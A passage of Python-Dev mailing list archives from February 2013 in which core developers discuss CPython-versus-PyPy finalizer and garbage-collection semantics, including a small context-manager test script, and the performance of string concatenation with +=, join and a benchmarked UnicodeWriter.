suspended stack (because it's in a generator) when the program
terminates, cpython will run __exit__ but pypy will not

--
# -*- encoding: utf-8 -*-
class C(object):
    def __enter__(self):
        print ("entering")
    def __exit__(self, *args):
        print ("exiting")
        
def gen():
    with C():
        yield

r = gen()
next(r)
--
$ python2 test.py
entering
exiting
$ python3 test.py
entering
exiting
$ pypy test.py
entering
$
--


From rdmurray at bitdance.com  Wed Feb 13 20:10:16 2013
From: rdmurray at bitdance.com (R. David Murray)
Date: Wed, 13 Feb 2013 14:10:16 -0500
Subject: [Python-Dev] efficient string concatenation (yep, from 2004)
In-Reply-To: <511BC84A.80905@stackless.com>
References: <511AD5E1.1060209@stackless.com>
	<CAL0kPAWk2F-AGyFmjKcwxG5_4-T8rjba+WNin+vAqhTvU+ffRA@mail.gmail.com>
	<511B81C3.9030905@stackless.com>
	<CADiSq7cnZeQi6FSSaTz5XXmkDtixD+ppOJKXLQYw5TiN4GQsDw@mail.gmail.com>
	<511BC84A.80905@stackless.com>
Message-ID: <20130213191020.F2F452500B3@webabinitio.net>

On Wed, 13 Feb 2013 18:07:22 +0100, Christian Tismer <tismer at stackless.com> wrote:
> I think before getting people to work through long and
> complete documentation, it is probably easier to wake their interest
> by something like
> "Hey, are you doing things this way?"
> And then there is a short, concise list of bad and good things, maybe
> even dynamic as in WingWare's "Wing Tips" or any better approach.
> 
>  From that easily reachable, only a few pages long tabular
> collection of short hints and caveats there could be linkage to the 
> existing, real
> documentation that explains things in more detail.
> Maybe that could be a way to get people to actually read.

There used to be a HOWTO with this goal, but its opinions were
considered outdated and/or contentious, and it was deleted:

    http://docs.python.org/2.6/howto/doanddont.html

--David

From fijall at gmail.com  Wed Feb 13 20:22:14 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 13 Feb 2013 21:22:14 +0200
Subject: [Python-Dev] Marking GC details as CPython-only
In-Reply-To: <40757358-85D3-4FBF-B865-2FFBC22DC031@masklinn.net>
References: <CAK5idxT3BfLaTsi3b1L1+5G0tnbkca71xbfmFLHUmtDG_3F3ew@mail.gmail.com>
	<40757358-85D3-4FBF-B865-2FFBC22DC031@masklinn.net>
Message-ID: <CAK5idxTA97ZBK7os1NtC6JnsTBSoBd1579-ZWwnJ4C1GNPaYHA@mail.gmail.com>

On Wed, Feb 13, 2013 at 9:09 PM, Xavier Morel <python-dev at masklinn.net> wrote:
> On 2013-02-13, at 19:48 , Maciej Fijalkowski wrote:
>
>> Hi
>>
>> I've tried (and failed) to find what GC details (especially finalizer
>> semantics) are CPython only and which ones are not. The best I could
>> find was the documentation of __del__ here:
>> http://docs.python.org/2/reference/datamodel.html
>>
>> Things were pypy differs:
>>
>> * finalizers in pypy will be called only once, even if the object is
>> resurrected. I'm not sure if this is detail or we're just plain
>> incompatible.
>>
>> * pypy breaks cycles and runs finalizers in random order (but
>> topologically correct), hence gc.garbage is always empty. I *think*
>> this part is really just an implementation detail
>>
>> * we're discussing right now about running multiple finalizers. We
>> want to run them in order, but if there is a link a -> b and a becomes
>> unreachable, we want to reserve the right to call finalizer a then
>> finalizer b, even if a.__del__ resurrects a. What do you think?
>>
>> Overall, the __del__ is baaad.
>>
>> Cheers,
>> fijal
>
> There may be one more, although I'm not sure whether it's a GC artifact
> or something completely unspecified: if a context manager is part of a
> suspended stack (because it's in a generator) when the program
> terminates, cpython will run __exit__ but pypy will not
>
> --
> # -*- encoding: utf-8 -*-
> class C(object):
>     def __enter__(self):
>         print ("entering")
>     def __exit__(self, *args):
>         print ("exiting")
>
> def gen():
>     with C():
>         yield
>
> r = gen()
> next(r)
> --
> $ python2 test.py
> entering
> exiting
> $ python3 test.py
> entering
> exiting
> $ pypy test.py
> entering
> $
> --
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/fijall%40gmail.com

I think it's well documented you should not rely on stuff like that
being run at the exit of the interpreter. I think we'll try harder to
run finalizers at the end of the interpreter (right now we only flush
files). File the issue.

From solipsis at pitrou.net  Wed Feb 13 20:25:40 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 13 Feb 2013 20:25:40 +0100
Subject: [Python-Dev] Marking GC details as CPython-only
References: <CAK5idxT3BfLaTsi3b1L1+5G0tnbkca71xbfmFLHUmtDG_3F3ew@mail.gmail.com>
Message-ID: <20130213202540.4e987e17@pitrou.net>

On Wed, 13 Feb 2013 20:48:08 +0200
Maciej Fijalkowski <fijall at gmail.com> wrote:
> 
> Things were pypy differs:
> 
> * finalizers in pypy will be called only once, even if the object is
> resurrected. I'm not sure if this is detail or we're just plain
> incompatible.

I think this should be a detail.

> * pypy breaks cycles and runs finalizers in random order (but
> topologically correct), hence gc.garbage is always empty. I *think*
> this part is really just an implementation detail

Agreed.

> * we're discussing right now about running multiple finalizers. We
> want to run them in order, but if there is a link a -> b and a becomes
> unreachable, we want to reserve the right to call finalizer a then
> finalizer b, even if a.__del__ resurrects a. What do you think?

I think resurrecting objects from __del__ is crazy, so IMO what you
suggest is fine.

Regards

Antoine.



From arigo at tunes.org  Wed Feb 13 20:30:18 2013
From: arigo at tunes.org (Armin Rigo)
Date: Wed, 13 Feb 2013 20:30:18 +0100
Subject: [Python-Dev] Marking GC details as CPython-only
In-Reply-To: <CAK5idxTA97ZBK7os1NtC6JnsTBSoBd1579-ZWwnJ4C1GNPaYHA@mail.gmail.com>
References: <CAK5idxT3BfLaTsi3b1L1+5G0tnbkca71xbfmFLHUmtDG_3F3ew@mail.gmail.com>
	<40757358-85D3-4FBF-B865-2FFBC22DC031@masklinn.net>
	<CAK5idxTA97ZBK7os1NtC6JnsTBSoBd1579-ZWwnJ4C1GNPaYHA@mail.gmail.com>
Message-ID: <CAMSv6X3F6VYkeb1iAFiw4cV-jDmjmGcaUeScHrA596tWuARmmQ@mail.gmail.com>

Hi,

On Wed, Feb 13, 2013 at 8:22 PM, Maciej Fijalkowski <fijall at gmail.com> wrote:
> I think it's well documented you should not rely on stuff like that
> being run at the exit of the interpreter.

Actually right now, at the exit of the interpreter, we just leave the
program without caring about running any __del__.  This might mean
that in a short-running script no __del__ is ever run.  I'd add this
question to your original list: is it good enough, or should we try
harder to run destructors at the exit?


A bient?t,

Armin.

From solipsis at pitrou.net  Wed Feb 13 20:40:46 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 13 Feb 2013 20:40:46 +0100
Subject: [Python-Dev] Marking GC details as CPython-only
References: <CAK5idxT3BfLaTsi3b1L1+5G0tnbkca71xbfmFLHUmtDG_3F3ew@mail.gmail.com>
	<40757358-85D3-4FBF-B865-2FFBC22DC031@masklinn.net>
	<CAK5idxTA97ZBK7os1NtC6JnsTBSoBd1579-ZWwnJ4C1GNPaYHA@mail.gmail.com>
	<CAMSv6X3F6VYkeb1iAFiw4cV-jDmjmGcaUeScHrA596tWuARmmQ@mail.gmail.com>
Message-ID: <20130213204046.7ba4239a@pitrou.net>

On Wed, 13 Feb 2013 20:30:18 +0100
Armin Rigo <arigo at tunes.org> wrote:
> Hi,
> 
> On Wed, Feb 13, 2013 at 8:22 PM, Maciej Fijalkowski <fijall at gmail.com> wrote:
> > I think it's well documented you should not rely on stuff like that
> > being run at the exit of the interpreter.
> 
> Actually right now, at the exit of the interpreter, we just leave the
> program without caring about running any __del__.  This might mean
> that in a short-running script no __del__ is ever run.  I'd add this
> question to your original list: is it good enough, or should we try
> harder to run destructors at the exit?

Destructors should be run at exit like they would be in any other
finalization situation. Anything else is dangerous, since important
resources may not be finalized, committed, or released.

(and by destructors I also mean weakref callbacks)

Regards

Antoine.



From regebro at gmail.com  Wed Feb 13 21:18:12 2013
From: regebro at gmail.com (Lennart Regebro)
Date: Wed, 13 Feb 2013 21:18:12 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAK5idxThTqyPcSroX35_Q6fxinbGN-0y2aC_BjiJZMJu6R3q4w@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com> <20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
	<kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
	<511BCE51.4080805@mrabarnett.plus.com>
	<CAK5idxThTqyPcSroX35_Q6fxinbGN-0y2aC_BjiJZMJu6R3q4w@mail.gmail.com>
Message-ID: <CAL0kPAXj1LJxys2JuRh=j7bH3f3QU2TP3emdNirdwin5q_2Tpg@mail.gmail.com>

On Wed, Feb 13, 2013 at 7:06 PM, Maciej Fijalkowski <fijall at gmail.com> wrote:
> I actually wonder.
>
> There seems to be the consensus to avoid += (to some extent). Can
> someone commit the change to urrllib then? I'm talking about reverting
> http://bugs.python.org/issue1285086 specifically

That's unquoting of URLs, strings that aren't particularly long,
normally. And it's not in any tight loops. I'm astonished that any
change makes any noticeable speed difference here at all.

//Lennart

From fijall at gmail.com  Wed Feb 13 21:19:22 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 13 Feb 2013 22:19:22 +0200
Subject: [Python-Dev] Marking GC details as CPython-only
In-Reply-To: <20130213204046.7ba4239a@pitrou.net>
References: <CAK5idxT3BfLaTsi3b1L1+5G0tnbkca71xbfmFLHUmtDG_3F3ew@mail.gmail.com>
	<40757358-85D3-4FBF-B865-2FFBC22DC031@masklinn.net>
	<CAK5idxTA97ZBK7os1NtC6JnsTBSoBd1579-ZWwnJ4C1GNPaYHA@mail.gmail.com>
	<CAMSv6X3F6VYkeb1iAFiw4cV-jDmjmGcaUeScHrA596tWuARmmQ@mail.gmail.com>
	<20130213204046.7ba4239a@pitrou.net>
Message-ID: <CAK5idxRp=t-Ng7t175Xjsxb3op70Zp6+D_eX1MujXFu+aSmbBg@mail.gmail.com>

On Wed, Feb 13, 2013 at 9:40 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> On Wed, 13 Feb 2013 20:30:18 +0100
> Armin Rigo <arigo at tunes.org> wrote:
>> Hi,
>>
>> On Wed, Feb 13, 2013 at 8:22 PM, Maciej Fijalkowski <fijall at gmail.com> wrote:
>> > I think it's well documented you should not rely on stuff like that
>> > being run at the exit of the interpreter.
>>
>> Actually right now, at the exit of the interpreter, we just leave the
>> program without caring about running any __del__.  This might mean
>> that in a short-running script no __del__ is ever run.  I'd add this
>> question to your original list: is it good enough, or should we try
>> harder to run destructors at the exit?
>
> Destructors should be run at exit like they would be in any other
> finalization situation. Anything else is dangerous, since important
> resources may not be finalized, committed, or released.
>
> (and by destructors I also mean weakref callbacks)
>
> Regards
>
> Antoine.

I think Antoine is right (despite the fact that CPython docs clearly
state that __del__s might not be run on the interpreter exit actually)

Cheers,
fijal

From regebro at gmail.com  Wed Feb 13 21:40:35 2013
From: regebro at gmail.com (Lennart Regebro)
Date: Wed, 13 Feb 2013 21:40:35 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAGmFidZ+KyYk5Ztn=54LrP6gw6JuLtQTC7it5sZ7BwBDJs=tZw@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com> <20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
	<511AEB75.6090808@stackless.com> <511B5442.4020309@hastings.org>
	<kffvsd$1sl$1@ger.gmane.org>
	<CAL0kPAWrNhHipSoyOpTDWpX5WcDO1woUOjY6Fy91C7fOJXQq=A@mail.gmail.com>
	<CAGmFidaVq2S9fcNe7k1xwYZbyPY8BKJ3ifuOdZk542YX+jTccw@mail.gmail.com>
	<CAL0kPAUHqrjk4fAFBdKF4mzx20nbt4JYtTOV0L_rhfiq-JD8=A@mail.gmail.com>
	<CAGmFidZ+KyYk5Ztn=54LrP6gw6JuLtQTC7it5sZ7BwBDJs=tZw@mail.gmail.com>
Message-ID: <CAL0kPAUFtJeDkyeNXVqokMZv=dEdorPpanmnQCOaFysmDEn7hg@mail.gmail.com>

On Wed, Feb 13, 2013 at 4:02 PM, Amaury Forgeot d'Arc
<amauryfa at gmail.com> wrote:
> 2013/2/13 Lennart Regebro <regebro at gmail.com>
>>
>> On Wed, Feb 13, 2013 at 3:27 PM, Amaury Forgeot d'Arc
>> <amauryfa at gmail.com> wrote:
>> > Yes, it's jitted.
>>
>> Admittedly, I have no idea in which cases the JIT kicks in, and what I
>> should do to make that happen to make sure I have the best possible
>> real-life test cases.
>
>
> PyPy JIT kicks in only after 1000 iterations.

Actually, my test code mixed iterations and string length up when
printing the results, so the tests I showed was not 100 iterations
with 10.000 long string, but 10.000 iterations with 100 long strings.

No matter what the iteration/string length is .format() is the slowest
or second slowest of all string concatenation methods I've tried and
'%s%s' % just marginally faster. This both on PyPy and CPython and
irrespective of string length.

I'll stick my neck out and say that using formatting for concatenation
is probably an anti-pattern.

//Lennart

From barry at python.org  Wed Feb 13 21:43:28 2013
From: barry at python.org (Barry Warsaw)
Date: Wed, 13 Feb 2013 15:43:28 -0500
Subject: [Python-Dev] Marking GC details as CPython-only
In-Reply-To: <CAMSv6X3F6VYkeb1iAFiw4cV-jDmjmGcaUeScHrA596tWuARmmQ@mail.gmail.com>
References: <CAK5idxT3BfLaTsi3b1L1+5G0tnbkca71xbfmFLHUmtDG_3F3ew@mail.gmail.com>
	<40757358-85D3-4FBF-B865-2FFBC22DC031@masklinn.net>
	<CAK5idxTA97ZBK7os1NtC6JnsTBSoBd1579-ZWwnJ4C1GNPaYHA@mail.gmail.com>
	<CAMSv6X3F6VYkeb1iAFiw4cV-jDmjmGcaUeScHrA596tWuARmmQ@mail.gmail.com>
Message-ID: <20130213154328.09f3ffb4@anarchist.wooz.org>

On Feb 13, 2013, at 08:30 PM, Armin Rigo wrote:

>Actually right now, at the exit of the interpreter, we just leave the
>program without caring about running any __del__.  This might mean
>that in a short-running script no __del__ is ever run.  I'd add this
>question to your original list: is it good enough, or should we try
>harder to run destructors at the exit?

I've seen *tons* of small Python scripts that don't care about what happens,
if anything, at program exit.  Some have comments making that quite explicit.
Sometimes, they even do so as performance improvements!  When you care about
start up costs, you often also care about tear down costs.

Such scripts just expect that all their resources will get freed when the
process exits.  Of course, they're not always right (e.g. clean up tmp files),
but it's pretty common, and I'm sure not just in Python.  OTOH, relying on
__del__ to clean up your tmp files seems rather dubious (well, frankly, so
does most uses of __del__).

Cheers,
-Barry

From shibturn at gmail.com  Wed Feb 13 21:50:51 2013
From: shibturn at gmail.com (Richard Oudkerk)
Date: Wed, 13 Feb 2013 20:50:51 +0000
Subject: [Python-Dev] Marking GC details as CPython-only
In-Reply-To: <20130213202540.4e987e17@pitrou.net>
References: <CAK5idxT3BfLaTsi3b1L1+5G0tnbkca71xbfmFLHUmtDG_3F3ew@mail.gmail.com>
	<20130213202540.4e987e17@pitrou.net>
Message-ID: <kfgub9$v7h$1@ger.gmane.org>

On 13/02/2013 7:25pm, Antoine Pitrou wrote:
> I think resurrecting objects from __del__ is crazy, so IMO what you
> suggest is fine.

You mean like subprocess.Popen.__del__?  I quite agree.

-- 
Richard


From greg.ewing at canterbury.ac.nz  Wed Feb 13 22:17:38 2013
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Thu, 14 Feb 2013 10:17:38 +1300
Subject: [Python-Dev] efficient string concatenation   (yep, from 2004)
In-Reply-To: <511B82B2.2000505@pearwood.info>
References: <511AD5E1.1060209@stackless.com> <511B82B2.2000505@pearwood.info>
Message-ID: <511C02F2.2040709@canterbury.ac.nz>

Steven D'Aprano wrote:
> The documentation for strings is also clear that you should not rely on 
> this
> optimization:
> 
 > ...
 >
> It
> can, and does, fail on CPython as well, as it is sensitive to memory
> allocation details.

If it's that unreliable, why was it ever implemented
in the first place?

-- 
Greg

From fijall at gmail.com  Wed Feb 13 22:52:16 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 13 Feb 2013 23:52:16 +0200
Subject: [Python-Dev] efficient string concatenation (yep, from 2004)
In-Reply-To: <511C02F2.2040709@canterbury.ac.nz>
References: <511AD5E1.1060209@stackless.com> <511B82B2.2000505@pearwood.info>
	<511C02F2.2040709@canterbury.ac.nz>
Message-ID: <CAK5idxRW0g0YSJnRp-W5GxBJKGMhf7VPe8=Fa93jF5mb6uyFMw@mail.gmail.com>

On Wed, Feb 13, 2013 at 11:17 PM, Greg Ewing
<greg.ewing at canterbury.ac.nz> wrote:
> Steven D'Aprano wrote:
>>
>> The documentation for strings is also clear that you should not rely on
>> this
>> optimization:
>>
>> ...
>
>>
>>
>> It
>> can, and does, fail on CPython as well, as it is sensitive to memory
>> allocation details.
>
>
> If it's that unreliable, why was it ever implemented
> in the first place?
>

Because someone thought it's a good idea probably and other people
asked for a review said +1 :)

From tismer at stackless.com  Thu Feb 14 00:49:19 2013
From: tismer at stackless.com (Christian Tismer)
Date: Thu, 14 Feb 2013 00:49:19 +0100
Subject: [Python-Dev] efficient string concatenation (yep, from 2004)
In-Reply-To: <CAL0kPAWk2F-AGyFmjKcwxG5_4-T8rjba+WNin+vAqhTvU+ffRA@mail.gmail.com>
References: <511AD5E1.1060209@stackless.com>
	<CAL0kPAWk2F-AGyFmjKcwxG5_4-T8rjba+WNin+vAqhTvU+ffRA@mail.gmail.com>
Message-ID: <0936978B-D261-4C90-ABD5-13F7BD5668DE@stackless.com>

Hi Lennart,

Sent from my Ei4Steve

On Feb 13, 2013, at 8:42, Lennart Regebro <regebro at gmail.com> wrote:

>> Something is needed - a patch for PyPy or for the documentation I guess.
> 
> Not arguing that it wouldn't be good, but I disagree that it is needed.
> 
> This is only an issue when you, as in your proof, have a loop that
> does concatenation. This is usually when looping over a list of
> strings that should be concatenated together. Doing so in a loop with
> concatenation may be the natural way for people new to Python, but the
> "natural" way to do it in Python is with a ''.join() call.
> 
> This:
> 
>    s = ''.join(('X' for x in xrange(x)))
> 
> Is more than twice as fast in Python 2.7 than your example. It is in
> fact also slower in PyPy 1.9 than Python 2.7, but only with a factor
> of two:
> 
> Python 2.7:
> time for 10000000 concats = 0.887
> Pypy 1.9:
> time for 10000000 concats = 1.600
> 
> (And of course s = 'X'* x takes only a bout a hundredth of the time,
> but that's cheating. ;-)
> 
> //Lennart

This all does not really concern me, as long as it roughly has the same order 
of magnitude, or better the same big Oh. 
I'm not concerned by a constant factor. 
I'm concerned by a freezing machine that suddenly gets 10000 times slower
because the algorithms never explicitly state their algorithmic complexity. 
( I think I said this too often, today?)

As a side note:
Something similar happened to me when somebody used "range" in Python3.3. 
He ran the same code on Python 2.7. 
with a crazy effect of having to re-boot:
Range() on 2.7 with arguments from some arbitrary input file. A newbie error
that was hard to understand, because
he was tought thinking 'xrange' when writing 'range'. Hard for me to understand because I am no longer able to make these errors at all, or even expect them. 

Cheers - Chris

From tismer at stackless.com  Thu Feb 14 01:13:08 2013
From: tismer at stackless.com (Christian Tismer)
Date: Thu, 14 Feb 2013 01:13:08 +0100
Subject: [Python-Dev] efficient string concatenation (yep, from 2004)
In-Reply-To: <CAK5idxRW0g0YSJnRp-W5GxBJKGMhf7VPe8=Fa93jF5mb6uyFMw@mail.gmail.com>
References: <511AD5E1.1060209@stackless.com> <511B82B2.2000505@pearwood.info>
	<511C02F2.2040709@canterbury.ac.nz>
	<CAK5idxRW0g0YSJnRp-W5GxBJKGMhf7VPe8=Fa93jF5mb6uyFMw@mail.gmail.com>
Message-ID: <511C2C14.4050801@stackless.com>

On 13.02.13 22:52, Maciej Fijalkowski wrote:
> On Wed, Feb 13, 2013 at 11:17 PM, Greg Ewing
> <greg.ewing at canterbury.ac.nz> wrote:
>> Steven D'Aprano wrote:
>>> The documentation for strings is also clear that you should not rely on
>>> this
>>> optimization:
>>>
>>> ...
>>>
>>> It
>>> can, and does, fail on CPython as well, as it is sensitive to memory
>>> allocation details.
>>
>> If it's that unreliable, why was it ever implemented
>> in the first place?
>>

The _trick_ was very good, the idea was - uhm - arguable.
I wished I had objected, but at that time I was only fascinated.

-- chris

(There are parallels on a larger scale, but I'm shutting up, intentionally.)

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Software Consulting          :     Have a break! Take a ride on Python's
Karl-Liebknecht-Str. 121     :    *Starship* http://starship.python.net/
14482 Potsdam                :     PGP key -> http://pgp.uni-mainz.de
phone +49 173 24 18 776  fax +49 (30) 700143-0023
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
       whom do you want to sponsor today?   http://www.stackless.com/


From victor.stinner at gmail.com  Thu Feb 14 01:21:40 2013
From: victor.stinner at gmail.com (Victor Stinner)
Date: Thu, 14 Feb 2013 01:21:40 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <20130213103142.382aa6cc@pitrou.net>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<CAMpsgwYyih6GrjaHqHKynTwqpNck86Zykwrwyfdb5sovbdyvQA@mail.gmail.com>
	<20130213103142.382aa6cc@pitrou.net>
Message-ID: <CAMpsgwZa+Wnh8Ln8fr5Nmj3bg+qJ+sjJjS3nEHDNCy8ihWMBJA@mail.gmail.com>

Hi,

I wrote quick hack to expose _PyUnicodeWriter as _string.UnicodeWriter:
http://www.haypocalc.com/tmp/string_unicode_writer.patch

And I wrote a (micro-)benchmark:
http://www.haypocalc.com/tmp/bench_join.py
( The benchmark uses only ASCII string, it would be interesting to
test latin1, BMP and non-BMP characters too. )

UnicodeWriter (using the "writer += str" API) is the fastest method in
most cases, except for data = ['a'*10**4] * 10**2 (in this case, it's
8x slower!). I guess that the overhead comes for the overallocation
which then require to shrink the buffer (shrinking may copy the whole
string). The overallocation factor may be adapted depending on the
size.

If computing the final length is cheap (eg. if it's always the same),
it's always faster to use UnicodeWriter with a preallocated buffer.
The "UnicodeWriter +=; preallocate" test uses a precomputed length
(ok, it's cheating!).

I also implemented UnicodeWriter.append method to measure the overhead
of a method lookup: it's expensive :-)

--

Platform: Linux-3.6.10-2.fc16.x86_64-x86_64-with-fedora-16-Verne
Python unicode implementation: PEP 393
Date: 2013-02-14 01:00:06
CFLAGS: -Wno-unused-result -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes
SCM: hg revision=659ef9d360ae+ tag=tip branch=default date="2013-02-13
15:25 +0000"
CPU model: Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz
Python version: 3.4.0a0 (default:659ef9d360ae+, Feb 14 2013, 00:35:19)
[GCC 4.6.3 20120306 (Red Hat 4.6.3-2)]
Bits: int=32, long=64, long long=64, pointer=64

[ data = ['a'] * 10**2 ]

4.21 us: UnicodeWriter +=; preallocate
4.86 us (+15%): UnicodeWriter append; lookup attr once
4.99 us (+18%): UnicodeWriter +=

6.35 us (+51%): str += str
6.45 us (+53%): io.StringIO; lookup attr once
7.02 us (+67%): "".join(list)
7.46 us (+77%): UnicodeWriter append
8.77 us (+108%): io.StringIO

[ data = ['abc'] * 10**4 ]

356 us: UnicodeWriter append; lookup attr once
375 us (+5%): UnicodeWriter +=; preallocate
376 us (+6%): UnicodeWriter +=

495 us (+39%): io.StringIO; lookup attr once
614 us (+73%): "".join(list)
629 us (+77%): UnicodeWriter append
716 us (+101%): str += str
737 us (+107%): io.StringIO

[ data = ['a'*10**4] * 10**1 ]

3.67 us: str += str
3.76 us: UnicodeWriter +=; preallocate

3.95 us (+8%): UnicodeWriter +=
4.01 us (+9%): UnicodeWriter append; lookup attr once
4.06 us (+11%): "".join(list)
4.24 us (+15%): UnicodeWriter append
4.59 us (+25%): io.StringIO; lookup attr once
4.77 us (+30%): io.StringIO

[ data = ['a'*10**4] * 10**2 ]

41.2 us: UnicodeWriter +=; preallocate
43.8 us (+6%): str += str
45.4 us (+10%): "".join(list)
45.9 us (+11%): io.StringIO; lookup attr once
48.3 us (+17%): io.StringIO

370 us (+797%): UnicodeWriter +=
370 us (+798%): UnicodeWriter append; lookup attr once
377 us (+816%): UnicodeWriter append

[ data = ['a'*10**4] * 10**4 ]

38.9 ms: UnicodeWriter +=; preallocate
39 ms: "".join(list)
39.1 ms: io.StringIO; lookup attr once
39.4 ms: UnicodeWriter append; lookup attr once
39.5 ms: io.StringIO
39.6 ms: UnicodeWriter +=
40.1 ms: str += str
40.1 ms: UnicodeWriter append

Victor

2013/2/13 Antoine Pitrou <solipsis at pitrou.net>:
> Le Wed, 13 Feb 2013 09:02:07 +0100,
> Victor Stinner <victor.stinner at gmail.com> a ?crit :
>> I added a _PyUnicodeWriter internal API to optimize str%args and
>> str.format(args). It uses a buffer which is overallocated, so it's
>> basically like CPython str += str optimization. I still don't know how
>> efficient it is on Windows, since realloc() is slow on Windows (at
>> least on old Windows versions).
>>
>> We should add an official and public API to concatenate strings.
>
> There's io.StringIO already.
>
> Regards
>
> Antoine.
>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/victor.stinner%40gmail.com

From steve at pearwood.info  Thu Feb 14 01:25:58 2013
From: steve at pearwood.info (Steven D'Aprano)
Date: Thu, 14 Feb 2013 11:25:58 +1100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511BA0C2.6010606@python.org>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<511B584E.9020206@python.org> <511B7EB5.3040401@pearwood.info>
	<511BA0C2.6010606@python.org>
Message-ID: <511C2F16.4010901@pearwood.info>

On 14/02/13 01:18, Chris Withers wrote:
> On 13/02/2013 11:53, Steven D'Aprano wrote:
>>> I fixed a performance bug in httplib some years ago by doing the exact
>>> opposite; += -> ''.join(). In that case, it changed downloading a file
>>> from 20 minutes to 3 seconds. That was likely on Python 2.5.
>>
>>
>> I remember it well.
>>
>> http://mail.python.org/pipermail/python-dev/2009-August/091125.html
>>
>> I frequently link to this thread as an example of just how bad repeated
>> string concatenation can be, how painful it can be to debug, and how
>> even when the optimization is fast on one system, it may fail and be
>> slow on another system.
>
> Amusing is that http://mail.python.org/pipermail/python-dev/2009-August/thread.html#91125 doesn't even list the email where I found the problem...

That's because it wasn't solved until the following month.

http://mail.python.org/pipermail/python-dev/2009-September/thread.html#91581



-- 
Steven

From steve at pearwood.info  Thu Feb 14 01:35:34 2013
From: steve at pearwood.info (Steven D'Aprano)
Date: Thu, 14 Feb 2013 11:35:34 +1100
Subject: [Python-Dev] [pypy-dev]  efficient string concatenation (yep,
 from 2004)
In-Reply-To: <CADiSq7cnZeQi6FSSaTz5XXmkDtixD+ppOJKXLQYw5TiN4GQsDw@mail.gmail.com>
References: <511AD5E1.1060209@stackless.com>
	<CAL0kPAWk2F-AGyFmjKcwxG5_4-T8rjba+WNin+vAqhTvU+ffRA@mail.gmail.com>
	<511B81C3.9030905@stackless.com>
	<CADiSq7cnZeQi6FSSaTz5XXmkDtixD+ppOJKXLQYw5TiN4GQsDw@mail.gmail.com>
Message-ID: <511C3156.8060902@pearwood.info>

On 14/02/13 01:44, Nick Coghlan wrote:

> Deliberately *relying* on the += hack to avoid quadratic runtime is
> just plain wrong, and our documentation already says so.

+1

I'm not sure that there's any evidence that people in general are *relying* on the += hack. More likely they write the first code they think of, which is +=, and never considered the consequences or test it thoroughly. Even if they test it, they only test it on one version of one implementation on one platform, and likely only with small N.

Besides, if you know that N will always be small, then using += is not wrong.

I think we have a tendency to sometimes overreact in cases like this. I don't think we need to do any more than we are already doing: the tutor@ and python-list@ mailing lists already try to educate users to use join, the docs recommend to use join, the Internet is filled with code that correctly uses join. What more can we do? I see no evidence that the Python community is awash with coders who write code with atrocious performance characteristics, or at least no more than any other language.



-- 
Steven

From solipsis at pitrou.net  Thu Feb 14 08:38:58 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 14 Feb 2013 08:38:58 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAMpsgwZa+Wnh8Ln8fr5Nmj3bg+qJ+sjJjS3nEHDNCy8ihWMBJA@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<CAMpsgwYyih6GrjaHqHKynTwqpNck86Zykwrwyfdb5sovbdyvQA@mail.gmail.com>
	<20130213103142.382aa6cc@pitrou.net>
	<CAMpsgwZa+Wnh8Ln8fr5Nmj3bg+qJ+sjJjS3nEHDNCy8ihWMBJA@mail.gmail.com>
Message-ID: <20130214083858.0380e240@pitrou.net>

On Thu, 14 Feb 2013 01:21:40 +0100
Victor Stinner <victor.stinner at gmail.com> wrote:
> 
> UnicodeWriter (using the "writer += str" API) is the fastest method in
> most cases, except for data = ['a'*10**4] * 10**2 (in this case, it's
> 8x slower!). I guess that the overhead comes for the overallocation
